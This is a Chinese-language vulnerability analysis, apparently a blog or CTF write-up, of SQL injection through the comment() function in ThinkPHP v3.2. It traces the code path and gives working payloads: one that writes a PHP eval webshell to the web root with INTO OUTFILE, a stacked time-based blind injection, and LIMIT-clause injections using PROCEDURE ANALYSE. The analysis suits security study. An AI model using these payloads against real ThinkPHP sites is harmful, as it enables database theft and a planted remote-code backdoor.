ThinkPHP v3.2 comment 注释注入写shell
漏洞详情
comment函数是用来进行查询注释功能,当执行sql语句时,搭配comment可能存在利用注释进行 写shell
或者 时间盲注
漏洞复现
控制器写入demo
$user = M('Users')->comment($id)->find(intval($id)); |
payload
?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/* |
漏洞分析
首先看一下函数调用栈
开始跟进调试
跟进comment函数
给$options加上comment
就是我们传入的东西
中间过程同thinkphp 3.2.3find 注入过程分析相同,往下走到这里select方法
跟进,对$options中的model和bind进行操作,不影响
跟进buildSelectSql()
开始构建sql语句
跟进 parseSql()
,分析 $options中的comment
跟进
我们传入的comment被加入到注释中,可以通过闭合前后注释进行注入
先尝试一下
构造的sql语句注入点在LIMIT 1 后面的地方,也就是说
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点] |
那么怎么利用这一点?
堆叠时间盲注
本地测试可以尝试堆叠注入方式来进行时间盲注
1*/;select if(substr(database(),1,1)='s',sleep(3),0)/* |
ctfshow 题目环境下
LIMIT后 注入方法
Mysql下Limit注入方法 | 离别歌 (leavesongs.com)
Mysql注入点在limit关键字后面的利用方法 - 那天ws
此方法适用于MySQL 5.x中
,在 limit语句后面的注入
首先查看 select
用法
SELECT |
根据文章 有 两种方式
limit
关键字后面还有 PROCEDURE
和 INTO
关键字,INTO 关键字在有写权限可以用来写文件
,这里看一下 PROCEDURE
关键字.MySQL默认可用的存储过程只有 ANALYSE (doc)
PROCEDURE
报错注入
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); |
时间盲注
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select |
INTO
尝试利用 into outfile
写shell 虽然dumpfile
也可以写文件但是因为 dumpfile
后面没有附加参数(export_options)
这点是 into outfile
利用的关键
看一下后面的参数
SELECT ... INTO OUTFILE 'file_name' |
OPTION
参数为可选参数选项,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。 |
给出payload
/?id=1*/ into outfile "/var/www/html/3.php" LINES STARTING BY '<?php eval($_POST[0]);?>'/* |